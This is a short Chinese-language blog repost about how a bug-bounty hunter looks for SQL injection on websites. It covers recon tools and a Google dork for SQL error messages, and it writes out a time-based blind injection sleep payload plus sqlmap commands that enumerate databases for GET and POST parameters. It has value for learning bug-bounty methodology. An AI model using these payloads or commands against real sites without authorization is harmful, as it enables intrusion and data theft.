如何在两个不同的网站中发现SQL注入

admin 2023年7月5日13:25:37评论11 views字数 1057阅读3分31秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


1.背景介绍



今天的故事来自叙利亚的一位白帽子,名叫 Ahmad Yussef ,他是一名兼职的漏洞赏金猎手。


2.侦察



关于收集子域,他习惯使用 Subfinder、Assfinder 这两款工具,而对于收集隐藏参数,他习惯使用 Arjun和Katana两款工具。


katana -u "url + parameter"

当然,他也会使用Google Dorking和Shodan.io 来替代Httpx、Httprobe。


3.方法


通常的方法基本是基于SQL错误,Google Dorking:

site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"

也会通过手动方式,在参数后面添加单引号或双引号,如果请求响应了SQL错误,基本就意味着存在漏洞。

对于SQL盲注,他比较喜欢使用Sleep Payloads:


0XOR(if(now()=sysdate(),sleep(6),0))XOR’Z63770XOR(if(now()=sysdate(),sleep(6),0))XOR’Z

4.Sqlmap



如果不知道参数是否存在漏洞,可以使用 Sqlmap 进行检测,因为它是发现此类漏洞的最佳工具。


如果是GET方式,可以使用:

sqlmap -u “target.com” --random-agent --level 1 --risk 1 --dbs


如果没有发现任何错误,也不要那么着急放弃,可以考虑更改level和risk等级,如果是POST方式,则可以使用:

sqlmap -u "target.com" --data "parameter=value" --method POST --random-agent --level 1 --risk 1 --dbs.

如何在两个不同的网站中发现SQL注入


感谢阅读,如果觉得有所收获的话,欢迎分享给更多喜爱的朋友们~

====正文结束====


原文始发于微信公众号(骨哥说事):如何在两个不同的网站中发现SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月5日13:25:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何在两个不同的网站中发现SQL注入http://cn-sec.com/archives/1855050.html

发表评论

匿名网友 填写信息